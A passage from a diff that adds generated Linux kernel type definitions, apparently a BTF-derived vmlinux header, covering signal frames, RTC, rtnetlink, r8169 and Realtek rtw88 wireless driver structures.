__attribute__((btf_type_tag("user"))) *ss_sp; + int ss_flags; + __kernel_size_t ss_size; +}; + +typedef struct sigaltstack stack_t; + +struct sigcontext_64 { + __u64 r8; + __u64 r9; + __u64 r10; + __u64 r11; + __u64 r12; + __u64 r13; + __u64 r14; + __u64 r15; + __u64 di; + __u64 si; + __u64 bp; + __u64 bx; + __u64 dx; + __u64 ax; + __u64 cx; + __u64 sp; + __u64 ip; + __u64 flags; + __u16 cs; + __u16 gs; + __u16 fs; + __u16 ss; + __u64 err; + __u64 trapno; + __u64 oldmask; + __u64 cr2; + __u64 fpstate; + __u64 reserved1[8]; +}; + +struct ucontext { + unsigned long uc_flags; + struct ucontext *uc_link; + stack_t uc_stack; + struct sigcontext_64 uc_mcontext; + sigset_t uc_sigmask; +}; + +struct rt_sigframe { + char __attribute__((btf_type_tag("user"))) *pretcode; + struct ucontext uc; + struct siginfo info; +}; + +struct wake_q_node; + +struct wake_q_head { + struct wake_q_node *first; + struct wake_q_node **lastp; +}; + +struct rt_wake_q_head { + struct wake_q_head head; + struct task_struct *rtlock_task; +}; + +struct rta_cacheinfo { + __u32 rta_clntref; + __u32 rta_lastuse; + __s32 rta_expires; + __u32 rta_error; + __u32 rta_used; + __u32 rta_id; + __u32 rta_ts; + __u32 rta_tsage; +}; + +struct rtc_param; + +struct rtc_class_ops { + int (*ioctl)(struct device *, unsigned int, unsigned long); + int (*read_time)(struct device *, struct rtc_time *); + int (*set_time)(struct device *, struct rtc_time *); + int (*read_alarm)(struct device *, struct rtc_wkalrm *); + int (*set_alarm)(struct device *, struct rtc_wkalrm *); + int (*proc)(struct device *, struct seq_file *); + int (*alarm_irq_enable)(struct device *, unsigned int); + int (*read_offset)(struct device *, long *); + int (*set_offset)(struct device *, long); + int (*param_get)(struct device *, struct rtc_param *); + int (*param_set)(struct device *, struct rtc_param *); +}; + +struct rtc_timer { + struct timerqueue_node node; + ktime_t period; + void (*func)(struct rtc_device *); + struct rtc_device *rtc; + int enabled; +}; + +struct rtc_device { + struct device dev; + struct module *owner; + int id; + const struct rtc_class_ops *ops; + struct mutex ops_lock; + struct cdev char_dev; + unsigned long flags; + unsigned long irq_data; + spinlock_t irq_lock; + wait_queue_head_t irq_queue; + struct fasync_struct *async_queue; + int irq_freq; + int max_user_freq; + struct timerqueue_head timerqueue; + struct rtc_timer aie_timer; + struct rtc_timer uie_rtctimer; + struct hrtimer pie_timer; + int pie_enabled; + struct work_struct irqwork; + unsigned long set_offset_nsec; + unsigned long features[1]; + time64_t range_min; + timeu64_t range_max; + timeu64_t alarm_offset_max; + time64_t start_secs; + time64_t offset_secs; + bool set_start_time; +}; + +struct rtc_param { + __u64 param; + union { + __u64 uvalue; + __s64 svalue; + __u64 ptr; + }; + __u32 index; + __u32 __pad; +}; + +struct rtentry { + unsigned long rt_pad1; + struct sockaddr rt_dst; + struct sockaddr rt_gateway; + struct sockaddr rt_genmask; + unsigned short rt_flags; + short rt_pad2; + unsigned long rt_pad3; + void *rt_pad4; + short rt_metric; + char __attribute__((btf_type_tag("user"))) *rt_dev; + unsigned long rt_mtu; + unsigned long rt_window; + unsigned short rt_irtt; +}; + +struct rtgenmsg { + unsigned char rtgen_family; +}; + +struct rtl8169_counters { + __le64 tx_packets; + __le64 rx_packets; + __le64 tx_errors; + __le32 rx_errors; + __le16 rx_missed; + __le16 align_errors; + __le32 tx_one_collision; + __le32 tx_multi_collision; + __le64 rx_unicast; + __le64 rx_broadcast; + __le32 rx_multicast; + __le16 tx_aborted; + __le16 tx_underrun; +}; + +struct rtl8169_tc_offsets { + bool inited; + __le64 tx_errors; + __le32 tx_multi_collision; + __le16 tx_aborted; + __le16 rx_missed; +}; + +struct r8169_led_classdev; + +struct rtl_fw___2; + +struct rtl8169_private { + void *mmio_addr; + struct pci_dev *pci_dev; + struct net_device *dev; + struct phy_device *phydev; + struct napi_struct napi; + enum mac_version mac_version; + enum rtl_dash_type dash_type; + u32 cur_rx; + u32 cur_tx; + u32 dirty_tx; + struct TxDesc *TxDescArray; + struct RxDesc *RxDescArray; + dma_addr_t TxPhyAddr; + dma_addr_t RxPhyAddr; + struct page *Rx_databuff[256]; + struct ring_info tx_skb[256]; + u16 cp_cmd; + u16 tx_lpi_timer; + u32 irq_mask; + int irq; + struct clk *clk; + struct { + unsigned long flags[1]; + struct work_struct work; + } wk; + raw_spinlock_t config25_lock; + raw_spinlock_t mac_ocp_lock; + struct mutex led_lock; + raw_spinlock_t cfg9346_usage_lock; + int cfg9346_usage_count; + unsigned int supports_gmii: 1; + unsigned int aspm_manageable: 1; + unsigned int dash_enabled: 1; + dma_addr_t counters_phys_addr; + struct rtl8169_counters *counters; + struct rtl8169_tc_offsets tc_offset; + u32 saved_wolopts; + const char *fw_name; + struct rtl_fw___2 *rtl_fw; + struct r8169_led_classdev *leds; + u32 ocp_base; +}; + +struct rtl821x_priv { + u16 phycr1; + u16 phycr2; + bool has_phycr2; + struct clk *clk; +}; + +struct rtl_coalesce_info { + u32 speed; + u32 scale_nsecs[4]; +}; + +struct rtl_cond { + bool (*check)(struct rtl8169_private *); + const char *msg; +}; + +typedef void (*rtl_fw_write_t)(struct rtl8169_private *, int, int); + +typedef int (*rtl_fw_read_t)(struct rtl8169_private *, int); + +struct rtl_fw_phy_action { + __le32 *code; + size_t size; +}; + +struct rtl_fw___2 { + rtl_fw_write_t phy_write; + rtl_fw_read_t phy_read; + rtl_fw_write_t mac_mcu_write; + rtl_fw_read_t mac_mcu_read; + const struct firmware *fw; + const char *fw_name; + struct device *dev; + char version[32]; + struct rtl_fw_phy_action phy_action; +}; + +struct rtl_mac_info { + u16 mask; + u16 val; + enum mac_version ver; +}; + +struct rtm_dump_res_bucket_ctx; + +struct rtm_dump_nexthop_bucket_data { + struct rtm_dump_res_bucket_ctx *ctx; + struct nh_dump_filter filter; +}; + +struct rtm_dump_nh_ctx { + u32 idx; +}; + +struct rtm_dump_res_bucket_ctx { + struct rtm_dump_nh_ctx nh; + u16 bucket_index; +}; + +struct rtmsg { + unsigned char rtm_family; + unsigned char rtm_dst_len; + unsigned char rtm_src_len; + unsigned char rtm_tos; + unsigned char rtm_table; + unsigned char rtm_protocol; + unsigned char rtm_scope; + unsigned char rtm_type; + unsigned int rtm_flags; +}; + +struct rtnexthop { + unsigned short rtnh_len; + unsigned char rtnh_flags; + unsigned char rtnh_hops; + int rtnh_ifindex; +}; + +struct rtnl_af_ops { + struct list_head list; + int family; + int (*fill_link_af)(struct sk_buff *, const struct net_device *, u32); + size_t (*get_link_af_size)(const struct net_device *, u32); + int (*validate_link_af)(const struct net_device *, const struct nlattr *, struct netlink_ext_ack *); + int (*set_link_af)(struct net_device *, const struct nlattr *, struct netlink_ext_ack *); + int (*fill_stats_af)(struct sk_buff *, const struct net_device *); + size_t (*get_stats_af_size)(const struct net_device *); +}; + +typedef int (*rtnl_doit_func)(struct sk_buff *, struct nlmsghdr *, struct netlink_ext_ack *); + +typedef int (*rtnl_dumpit_func)(struct sk_buff *, struct netlink_callback *); + +struct rtnl_link { + rtnl_doit_func doit; + rtnl_dumpit_func dumpit; + struct module *owner; + unsigned int flags; + struct callback_head rcu; +}; + +struct rtnl_link_ifmap { + __u64 mem_start; + __u64 mem_end; + __u64 base_addr; + __u16 irq; + __u8 dma; + __u8 port; +}; + +struct rtnl_link_ops { + struct list_head list; + const char *kind; + size_t priv_size; + struct net_device * (*alloc)(struct nlattr **, const char *, unsigned char, unsigned int, unsigned int); + void (*setup)(struct net_device *); + bool netns_refund; + unsigned int maxtype; + const struct nla_policy *policy; + int (*validate)(struct nlattr **, struct nlattr **, struct netlink_ext_ack *); + int (*newlink)(struct net *, struct net_device *, struct nlattr **, struct nlattr **, struct netlink_ext_ack *); + int (*changelink)(struct net_device *, struct nlattr **, struct nlattr **, struct netlink_ext_ack *); + void (*dellink)(struct net_device *, struct list_head *); + size_t (*get_size)(const struct net_device *); + int (*fill_info)(struct sk_buff *, const struct net_device *); + size_t (*get_xstats_size)(const struct net_device *); + int (*fill_xstats)(struct sk_buff *, const struct net_device *); + unsigned int (*get_num_tx_queues)(void); + unsigned int (*get_num_rx_queues)(void); + unsigned int slave_maxtype; + const struct nla_policy *slave_policy; + int (*slave_changelink)(struct net_device *, struct net_device *, struct nlattr **, struct nlattr **, struct netlink_ext_ack *); + size_t (*get_slave_size)(const struct net_device *, const struct net_device *); + int (*fill_slave_info)(struct sk_buff *, const struct net_device *, const struct net_device *); + struct net * (*get_link_net)(const struct net_device *); + size_t (*get_linkxstats_size)(const struct net_device *, int); + int (*fill_linkxstats)(struct sk_buff *, const struct net_device *, int *, int); +}; + +struct rtnl_link_stats { + __u32 rx_packets; + __u32 tx_packets; + __u32 rx_bytes; + __u32 tx_bytes; + __u32 rx_errors; + __u32 tx_errors; + __u32 rx_dropped; + __u32 tx_dropped; + __u32 multicast; + __u32 collisions; + __u32 rx_length_errors; + __u32 rx_over_errors; + __u32 rx_crc_errors; + __u32 rx_frame_errors; + __u32 rx_fifo_errors; + __u32 rx_missed_errors; + __u32 tx_aborted_errors; + __u32 tx_carrier_errors; + __u32 tx_fifo_errors; + __u32 tx_heartbeat_errors; + __u32 tx_window_errors; + __u32 rx_compressed; + __u32 tx_compressed; + __u32 rx_nohandler; +}; + +struct rtnl_mdb_dump_ctx { + long idx; +}; + +struct rtnl_net_dump_cb { + struct net *tgt_net; + struct net *ref_net; + struct sk_buff *skb; + struct net_fill_args fillargs; + int idx; + int s_idx; +}; + +struct rtnl_newlink_tbs { + struct nlattr *tb[66]; + struct nlattr *attr[51]; + struct nlattr *slave_attr[45]; +}; + +struct rtnl_offload_xstats_request_used { + bool request; + bool used; +}; + +struct rtnl_stats_dump_filters { + u32 mask[6]; +}; + +struct rtree_node { + struct list_head list; + unsigned long *data; +}; + +struct rtvia { + __kernel_sa_family_t rtvia_family; + __u8 rtvia_addr[0]; +}; + +struct rtw_2g_1s_pwr_idx_diff { + s8 ofdm: 4; + s8 bw20: 4; +}; + +struct rtw_2g_ns_pwr_idx_diff { + s8 bw20: 4; + s8 bw40: 4; + s8 cck: 4; + s8 ofdm: 4; +}; + +struct rtw_2g_txpwr_idx { + u8 cck_base[6]; + u8 bw40_base[5]; + struct rtw_2g_1s_pwr_idx_diff ht_1s_diff; + struct rtw_2g_ns_pwr_idx_diff ht_2s_diff; + struct rtw_2g_ns_pwr_idx_diff ht_3s_diff; + struct rtw_2g_ns_pwr_idx_diff ht_4s_diff; +}; + +struct rtw_5g_ht_1s_pwr_idx_diff { + s8 ofdm: 4; + s8 bw20: 4; +}; + +struct rtw_5g_ht_ns_pwr_idx_diff { + s8 bw20: 4; + s8 bw40: 4; +}; + +struct rtw_5g_ofdm_ns_pwr_idx_diff { + s8 ofdm_3s: 4; + s8 ofdm_2s: 4; + s8 ofdm_4s: 4; + s8 res: 4; +}; + +struct rtw_5g_vht_ns_pwr_idx_diff { + s8 bw160: 4; + s8 bw80: 4; +}; + +struct rtw_5g_txpwr_idx { + u8 bw40_base[14]; + struct rtw_5g_ht_1s_pwr_idx_diff ht_1s_diff; + struct rtw_5g_ht_ns_pwr_idx_diff ht_2s_diff; + struct rtw_5g_ht_ns_pwr_idx_diff ht_3s_diff; + struct rtw_5g_ht_ns_pwr_idx_diff ht_4s_diff; + struct rtw_5g_ofdm_ns_pwr_idx_diff ofdm_diff; + struct rtw_5g_vht_ns_pwr_idx_diff vht_1s_diff; + struct rtw_5g_vht_ns_pwr_idx_diff vht_2s_diff; + struct rtw_5g_vht_ns_pwr_idx_diff vht_3s_diff; + struct rtw_5g_vht_ns_pwr_idx_diff vht_4s_diff; +}; + +struct rtw_txpwr_idx { + struct rtw_2g_txpwr_idx pwr_idx_2g; + struct rtw_5g_txpwr_idx pwr_idx_5g; +}; + +struct rtw8822be_efuse { + u8 mac_addr[6]; + u8 vender_id[2]; + u8 device_id[2]; + u8 sub_vender_id[2]; + u8 sub_device_id[2]; + u8 pmc[2]; + u8 exp_device_cap[2]; + u8 msi_cap; + u8 ltr_cap; + u8 exp_link_control[2]; + u8 link_cap[4]; + u8 link_control[2]; + u8 serial_number[8]; + u8 res0: 2; + u8 ltr_en: 1; + u8 res1: 2; + u8 obff: 2; + char: 1; + u8 res2: 3; + u8 obff_cap: 2; + short: 3; + u8 res3: 4; + u8 res4[3]; + u8 class_code[3]; + u8 pci_pm_L1_2_supp: 1; + u8 pci_pm_L1_1_supp: 1; + u8 aspm_pm_L1_2_supp: 1; + u8 aspm_pm_L1_1_supp: 1; + u8 L1_pm_substates_supp: 1; + u8 res5: 3; + u8 port_common_mode_restore_time; + u8 port_t_power_on_scale: 2; + u8 res6: 1; + u8 port_t_power_on_value: 5; + u8 res7; +}; + +struct rtw8822bu_efuse { + u8 res4[4]; + u8 usb_optional_function; + u8 res5[30]; + u8 res6[2]; + u8 serial[11]; + u8 vid; + u8 res7; + u8 pid; + u8 res8[4]; + u8 mac_addr[6]; + u8 res9[2]; + u8 vendor_name[7]; + u8 res10[2]; + u8 device_name[20]; + u8 res11[207]; + u8 package_type; + u8 res12[4]; +}; + +struct rtw8822bs_efuse { + u8 res4[74]; + u8 mac_addr[6]; +}; + +struct rtw8822b_efuse { + __le16 rtl_id; + u8 res0[4]; + u8 usb_mode; + u8 res1[9]; + struct rtw_txpwr_idx txpwr_idx_table[4]; + u8 channel_plan; + u8 xtal_k; + u8 thermal_meter; + u8 iqk_lck; + u8 pa_type; + u8 lna_type_2g[2]; + u8 lna_type_5g[2]; + u8 rf_board_option; + u8 rf_feature_option; + u8 rf_bt_setting; + u8 eeprom_version; + u8 eeprom_customer_id; + u8 tx_bb_swing_setting_2g; + u8 tx_bb_swing_setting_5g; + u8 tx_pwr_calibrate_rate; + u8 rf_antenna_option; + u8 rfe_option; + u8 country_code[2]; + u8 res[3]; + union { + struct rtw8822be_efuse e; + struct rtw8822bu_efuse u; + struct rtw8822bs_efuse s; + }; +}; + +struct rtw_dev; + +struct rtw8822b_rfe_info { + const struct cca_ccut *cca_ccut_2g; + const struct cca_ccut *cca_ccut_5g; + enum rtw_rfe_fem fem; + bool ifem_ext; + void (*rtw_set_channel_rfe)(struct rtw_dev *, u8); +}; + +struct rtw8822c_dpk_data { + u8 txbb; + u8 pga; + u8 limited_pga; + u8 agc_cnt; + bool loss_only; + bool gain_only; + u8 path; +}; + +struct rtw8822ce_efuse { + u8 mac_addr[6]; + u8 vender_id[2]; + u8 device_id[2]; + u8 sub_vender_id[2]; + u8 sub_device_id[2]; + u8 pmc[2]; + u8 exp_device_cap[2]; + u8 msi_cap; + u8 ltr_cap; + u8 exp_link_control[2]; + u8 link_cap[4]; + u8 link_control[2]; + u8 serial_number[8]; + u8 res0: 2; + u8 ltr_en: 1; + u8 res1: 2; + u8 obff: 2; + char: 1; + u8 res2: 3; + u8 obff_cap: 2; + short: 3; + u8 res3: 4; + u8 class_code[3]; + u8 res4; + u8 pci_pm_L1_2_supp: 1; + u8 pci_pm_L1_1_supp: 1; + u8 aspm_pm_L1_2_supp: 1; + u8 aspm_pm_L1_1_supp: 1; + u8 L1_pm_substates_supp: 1; + u8 res5: 3; + u8 port_common_mode_restore_time; + u8 port_t_power_on_scale: 2; + u8 res6: 1; + u8 port_t_power_on_value: 5; + u8 res7; +}; + +struct rtw8822cu_efuse { + u8 res0[48]; + u8 vid[2]; + u8 pid[2]; + u8 res1[3]; + u8 mac_addr[6]; + u8 res2[61]; +}; + +struct rtw8822cs_efuse { + u8 res0[74]; + u8 mac_addr[6]; +}; + +struct rtw8822c_efuse { + __le16 rtl_id; + u8 res0[4]; + u8 usb_mode; + u8 res1[9]; + struct rtw_txpwr_idx txpwr_idx_table[4]; + u8 channel_plan; + u8 xtal_k; + u8 res2; + u8 iqk_lck; + u8 res3[5]; + u8 rf_board_option; + u8 rf_feature_option; + u8 rf_bt_setting; + u8 eeprom_version; + u8 eeprom_customer_id; + u8 tx_bb_swing_setting_2g; + u8 tx_bb_swing_setting_5g; + u8 tx_pwr_calibrate_rate; + u8 rf_antenna_option; + u8 rfe_option; + u8 country_code[2]; + u8 res4[3]; + u8 path_a_thermal; + u8 path_b_thermal; + u8 res5[2]; + u8 rx_gain_gap_2g_ofdm; + u8 res6; + u8 rx_gain_gap_2g_cck; + u8 res7; + u8 rx_gain_gap_5gl; + u8 res8; + u8 rx_gain_gap_5gm; + u8 res9; + u8 rx_gain_gap_5gh; + u8 res10; + u8 res11[66]; + union { + struct rtw8822ce_efuse e; + struct rtw8822cu_efuse u; + struct rtw8822cs_efuse s; + }; +}; + +struct rtw_backup_info { + u8 len; + u32 reg; + u32 val; +}; + +struct rtw_beacon_filter_iter_data { + struct rtw_dev *rtwdev; + u8 *payload; +}; + +struct rtw_bf_info { + u8 bfer_mu_cnt; + u8 bfer_su_cnt; + unsigned long bfer_su_reg_maping[1]; + u8 cur_csi_rpt_rate; +}; + +struct rtw_bfee { + enum rtw_bfee_role role; + u16 p_aid; + u8 g_id; + u8 mac_addr[6]; + u8 sound_dim; + u8 su_reg_index; + u16 aid; +}; + +struct rtw_c2h_adaptivity { + u8 density; + u8 igi; + u8 l2h_th_init; + u8 l2h; + u8 h2l; + u8 option; +}; + +struct rtw_c2h_cmd { + u8 id; + u8 seq; + u8 payload[0]; +}; + +struct rtw_cam_entry { + bool valid; + bool group; + u8 addr[6]; + u8 hw_key_type; + struct ieee80211_key_conf *key; +}; + +struct rtw_cfo_track { + bool is_adjust; + u8 crystal_cap; + s32 cfo_tail[4]; + s32 cfo_cnt[4]; + u32 packet_count; + u32 packet_count_pre; +}; + +struct rtw_ch_switch_option { + u8 periodic_option; + u32 tsf_high; + u32 tsf_low; + u8 dest_ch_en; + u8 absolute_time_en; + u8 dest_ch; + u8 normal_period; + u8 normal_period_sel; + u8 normal_cycle; + u8 slow_period; + u8 slow_period_sel; + u8 nlo_en; + bool switch_en; + bool back_op_en; +}; + +struct rtw_chan_info { + int pri_ch_idx; + int action_id; + int bw; + u8 extra_info; + u8 channel; + u16 timeout; +}; + +struct rtw_chan_list { + u32 buf_size; + u32 ch_num; + u32 size; + u16 addr; +}; + +struct rtw_channel_params { + u8 center_chan; + u8 primary_chan; + u8 bandwidth; +}; + +struct rtw_chip_ops; + +struct rtw_fwcd_segs; + +struct rtw_pwr_seq_cmd; + +struct rtw_rqpn; + +struct rtw_prioq_addrs; + +struct rtw_page_table; + +struct rtw_intf_phy_para_table; + +struct rtw_hw_reg; + +struct rtw_rf_sipi_addr; + +struct rtw_ltecoex_addr; + +struct rtw_table; + +struct rtw_rfe_def; + +struct rtw_pwr_track_tbl; + +struct rtw_hw_reg_offset; + +struct rtw_reg_domain; + +struct rtw_chip_info { + struct rtw_chip_ops *ops; + u8 id; + const char *fw_name; + enum rtw_wlan_cpu wlan_cpu; + u8 tx_pkt_desc_sz; + u8 tx_buf_desc_sz; + u8 rx_pkt_desc_sz; + u8 rx_buf_desc_sz; + u32 phy_efuse_size; + u32 log_efuse_size; + u32 ptct_efuse_size; + u32 txff_size; + u32 rxff_size; + u32 fw_rxff_size; + u16 rsvd_drv_pg_num; + u8 band; + u8 page_size; + u8 csi_buf_pg_num; + u8 dig_max; + u8 dig_min; + u8 txgi_factor; + bool is_pwr_by_rate_dec; + bool rx_ldpc; + bool tx_stbc; + u8 max_power_index; + u8 ampdu_density; + u16 fw_fifo_addr[6]; + const struct rtw_fwcd_segs *fwcd_segs; + u8 usb_tx_agg_desc_num; + u8 default_1ss_tx_path; + bool path_div_supported; + bool ht_supported; + bool vht_supported; + u8 lps_deep_mode_supported; + u8 sys_func_en; + const struct rtw_pwr_seq_cmd **pwr_on_seq; + const struct rtw_pwr_seq_cmd **pwr_off_seq; + const struct rtw_rqpn *rqpn_table; + const struct rtw_prioq_addrs *prioq_addrs; + const struct rtw_page_table *page_table; + const struct rtw_intf_phy_para_table *intf_table; + const struct rtw_hw_reg *dig; + const struct rtw_hw_reg *dig_cck; + u32 rf_base_addr[2]; + u32 rf_sipi_addr[2]; + const struct rtw_rf_sipi_addr *rf_sipi_read_addr; + u8 fix_rf_phy_num; + const struct rtw_ltecoex_addr *ltecoex_addr; + const struct rtw_table *mac_tbl; + const struct rtw_table *agc_tbl; + const struct rtw_table *bb_tbl; + const struct rtw_table *rf_tbl[4]; + const struct rtw_table *rfk_init_tbl; + const struct rtw_rfe_def *rfe_defs; + u32 rfe_defs_size; + bool en_dis_dpd; + u16 dpd_ratemask; + u8 iqk_threshold; + u8 lck_threshold; + const struct rtw_pwr_track_tbl *pwr_track_tbl; + u8 bfer_su_max_num; + u8 bfer_mu_max_num; + struct rtw_hw_reg_offset *edcca_th; + s8 l2h_th_ini_cs; + s8 l2h_th_ini_ad; + const char *wow_fw_name; + const struct wiphy_wowlan_support *wowlan_stub; + const u8 max_sched_scan_ssids; + const u16 max_scan_ie_len; + u32 coex_para_ver; + u8 bt_desired_ver; + bool scbd_support; + bool new_scbd10_def; + bool ble_hid_profile_support; + bool wl_mimo_ps_support; + u8 pstdma_type; + u8 bt_rssi_type; + u8 ant_isolation; + u8 rssi_tolerance; + u8 table_sant_num; + u8 table_nsant_num; + u8 tdma_sant_num; + u8 tdma_nsant_num; + u8 bt_afh_span_bw20; + u8 bt_afh_span_bw40; + u8 afh_5g_num; + u8 wl_rf_para_num; + u8 coex_info_hw_regs_num; + const u8 *bt_rssi_step; + const u8 *wl_rssi_step; + const struct coex_table_para *table_nsant; + const struct coex_table_para *table_sant; + const struct coex_tdma_para *tdma_sant; + const struct coex_tdma_para *tdma_nsant; + const struct coex_rf_para *wl_rf_para_tx; + const struct coex_rf_para *wl_rf_para_rx; + const struct coex_5g_afh_map *afh_5g; + const struct rtw_hw_reg *btg_reg; + const struct rtw_reg_domain *coex_info_hw_regs; + u32 wl_fw_desired_ver; +}; + +struct rtw_rx_pkt_stat; + +struct rtw_vif; + +struct rtw_tx_pkt_info; + +struct rtw_chip_ops { + int (*mac_init)(struct rtw_dev *); + int (*dump_fw_crash)(struct rtw_dev *); + void (*shutdown)(struct rtw_dev *); + int (*read_efuse)(struct rtw_dev *, u8 *); + void (*phy_set_param)(struct rtw_dev *); + void (*set_channel)(struct rtw_dev *, u8, u8, u8); + void (*query_rx_desc)(struct rtw_dev *, u8 *, struct rtw_rx_pkt_stat *, struct ieee80211_rx_status *); + u32 (*read_rf)(struct rtw_dev *, enum rtw_rf_path, u32, u32); + bool (*write_rf)(struct rtw_dev *, enum rtw_rf_path, u32, u32, u32); + void (*set_tx_power_index)(struct rtw_dev *); + int (*rsvd_page_dump)(struct rtw_dev *, u8 *, u32, u32); + int (*set_antenna)(struct rtw_dev *, u32, u32); + void (*cfg_ldo25)(struct rtw_dev *, bool); + void (*efuse_grant)(struct rtw_dev *, bool); + void (*false_alarm_statistics)(struct rtw_dev *); + void (*phy_calibration)(struct rtw_dev *); + void (*dpk_track)(struct rtw_dev *); + void (*cck_pd_set)(struct rtw_dev *, u8); + void (*pwr_track)(struct rtw_dev *); + void (*config_bfee)(struct rtw_dev *, struct rtw_vif *, struct rtw_bfee *, bool); + void (*set_gid_table)(struct rtw_dev *, struct ieee80211_vif *, struct ieee80211_bss_conf *); + void (*cfg_csi_rate)(struct rtw_dev *, u8, u8, u8, u8 *); + void (*adaptivity_init)(struct rtw_dev *); + void (*adaptivity)(struct rtw_dev *); + void (*cfo_init)(struct rtw_dev *); + void (*cfo_track)(struct rtw_dev *); + void (*config_tx_path)(struct rtw_dev *, u8, enum rtw_bb_path, enum rtw_bb_path, bool); + void (*config_txrx_mode)(struct rtw_dev *, u8, u8, bool); + void (*fill_txdesc_checksum)(struct rtw_dev *, struct rtw_tx_pkt_info *, u8 *); + void (*coex_set_init)(struct rtw_dev *); + void (*coex_set_ant_switch)(struct rtw_dev *, u8, u8); + void (*coex_set_gnt_fix)(struct rtw_dev *); + void (*coex_set_gnt_debug)(struct rtw_dev *); + void (*coex_set_rfe_type)(struct rtw_dev *); + void (*coex_set_wl_tx_power)(struct rtw_dev *, u8); + void (*coex_set_wl_rx_gain)(struct rtw_dev *, bool); +}; + +struct rtw_coex_hid { + u8 hid_handle; + u8 hid_vendor; + u8 hid_name[3]; + bool hid_info_completed; + bool is_game_hid; +}; + +struct rtw_coex_hid_handle_list { + u8 cmd_id; + u8 len; + u8 subid; + u8 handle_cnt; + u8 handle[4]; +}; + +struct rtw_coex_stat { + bool bt_disabled; + bool bt_disabled_pre; + bool bt_link_exist; + bool bt_whck_test; + bool bt_inq_page; + bool bt_inq_remain; + bool bt_inq; + bool bt_page; + bool bt_ble_voice; + bool bt_ble_exist; + bool bt_hfp_exist; + bool bt_a2dp_exist; + bool bt_hid_exist; + bool bt_pan_exist; + bool bt_opp_exist; + bool bt_acl_busy; + bool bt_fix_2M; + bool bt_setup_link; + bool bt_multi_link; + bool bt_multi_link_pre; + bool bt_multi_link_remain; + bool bt_a2dp_sink; + bool bt_a2dp_active; + bool bt_reenable; + bool bt_ble_scan_en; + bool bt_init_scan; + bool bt_slave; + bool bt_418_hid_exist; + bool bt_ble_hid_exist; + bool bt_game_hid_exist; + bool bt_hid_handle_cnt; + bool bt_mailbox_reply; + bool wl_under_lps; + bool wl_under_ips; + bool wl_hi_pri_task1; + bool wl_hi_pri_task2; + bool wl_force_lps_ctrl; + bool wl_gl_busy; + bool wl_linkscan_proc; + bool wl_ps_state_fail; + bool wl_tx_limit_en; + bool wl_ampdu_limit_en; + bool wl_connected; + bool wl_slot_extend; + bool wl_cck_lock; + bool wl_cck_lock_pre; + bool wl_cck_lock_ever; + bool wl_connecting; + bool wl_slot_toggle; + bool wl_slot_toggle_change; + bool wl_mimo_ps; + u32 bt_supported_version; + u32 bt_supported_feature; + u32 hi_pri_tx; + u32 hi_pri_rx; + u32 lo_pri_tx; + u32 lo_pri_rx; + u32 patch_ver; + u16 bt_reg_vendor_ae; + u16 bt_reg_vendor_ac; + s8 bt_rssi; + u8 kt_ver; + u8 gnt_workaround_state; + u8 tdma_timer_base; + u8 bt_profile_num; + u8 bt_info_c2h[60]; + u8 bt_info_lb2; + u8 bt_info_lb3; + u8 bt_info_hb0; + u8 bt_info_hb1; + u8 bt_info_hb2; + u8 bt_info_hb3; + u8 bt_ble_scan_type; + u8 bt_hid_pair_num; + u8 bt_hid_slot; + u8 bt_a2dp_bitpool; + u8 bt_iqk_state; + u16 wl_beacon_interval; + u8 wl_noisy_level; + u8 wl_fw_dbg_info[10]; + u8 wl_fw_dbg_info_pre[10]; + u8 wl_rx_rate; + u8 wl_tx_rate; + u8 wl_rts_rx_rate; + u8 wl_coex_mode; + u8 wl_iot_peer; + u8 ampdu_max_time; + u8 wl_tput_dir; + u8 wl_toggle_para[6]; + u8 wl_toggle_interval; + u16 score_board; + u16 retry_limit; + u32 cnt_bt[13]; + u32 cnt_wl[8]; + u32 cnt_bt_info_c2h[6]; + u32 darfrc; + u32 darfrch; + struct rtw_coex_hid hid_info[4]; + struct rtw_coex_hid_handle_list hid_handle_list; +}; + +struct rtw_coex_dm { + bool cur_ps_tdma_on; + bool cur_wl_rx_low_gain_en; + bool ignore_wl_act; + u8 reason; + u8 bt_rssi_state[4]; + u8 wl_rssi_state[4]; + u8 wl_ch_info[3]; + u8 cur_ps_tdma; + u8 cur_table; + u8 ps_tdma_para[5]; + u8 cur_bt_pwr_lvl; + u8 cur_bt_lna_lvl; + u8 cur_wl_pwr_lvl; + u8 bt_status; + u32 cur_ant_pos_type; + u32 cur_switch_status; + u32 setting_tdma; + u8 fw_tdma_para[5]; +}; + +struct rtw_coex_rfe { + bool ant_switch_exist; + bool ant_switch_diversity; + bool ant_switch_with_bt; + u8 rfe_module_type; + u8 ant_switch_polarity; + bool wlg_at_btg; +}; + +struct rtw_coex { + struct sk_buff_head queue; + wait_queue_head_t wait; + bool under_5g; + bool stop_dm; + bool freeze; + bool freerun; + bool wl_rf_off; + bool manual_control; + struct rtw_coex_stat stat; + struct rtw_coex_dm dm; + struct rtw_coex_rfe rfe; + struct delayed_work bt_relink_work; + struct delayed_work bt_reenable_work; + struct delayed_work defreeze_work; + struct delayed_work wl_remain_work; + struct delayed_work bt_remain_work; + struct delayed_work wl_connecting_work; + struct delayed_work bt_multi_link_remain_work; + struct delayed_work wl_ccklock_work; +}; + +struct rtw_coex_hid_info_a { + u8 cmd_id; + u8 len; + u8 subid; + u8 handle; + u8 vendor; + u8 name[3]; +}; + +struct rtw_coex_info_req { + u8 seq; + u8 op_code; + u8 para1; + u8 para2; + u8 para3; +}; + +struct rtw_hci_ops; + +struct rtw_hci { + struct rtw_hci_ops *ops; + enum rtw_hci_type type; + u32 rpwm_addr; + u32 cpwm_addr; + u8 bulkout_num; +}; + +struct rtw_hw_scan_info { + struct ieee80211_vif *scanning_vif; + u8 probe_pg_size; + u8 op_pri_ch_idx; + u8 op_pri_ch; + u8 op_chan; + u8 op_bw; +}; + +union rtw_sar_cfg { + s8 common[4]; +}; + +struct rtw_sar { + enum rtw_sar_sources src; + union rtw_sar_cfg cfg[24]; +}; + +struct rtw_hal { + u32 rcr; + u32 chip_version; + u8 cut_version; + u8 mp_chip; + u8 oem_id; + u8 pkg_type; + struct rtw_phy_cond phy_cond; + bool rfe_btg; + u8 ps_mode; + u8 current_channel; + u8 current_primary_channel_index; + u8 current_band_width; + u8 current_band_type; + u8 primary_channel; + u8 cch_by_bw[3]; + u8 sec_ch_offset; + u8 rf_type; + u8 rf_path_num; + u8 rf_phy_num; + u32 antenna_tx; + u32 antenna_rx; + u8 bfee_sts_cap; + bool txrx_1ss; + struct mutex tx_power_mutex; + s8 tx_pwr_by_rate_offset_2g[336]; + s8 tx_pwr_by_rate_offset_5g[336]; + s8 tx_pwr_by_rate_base_2g[24]; + s8 tx_pwr_by_rate_base_5g[24]; + s8 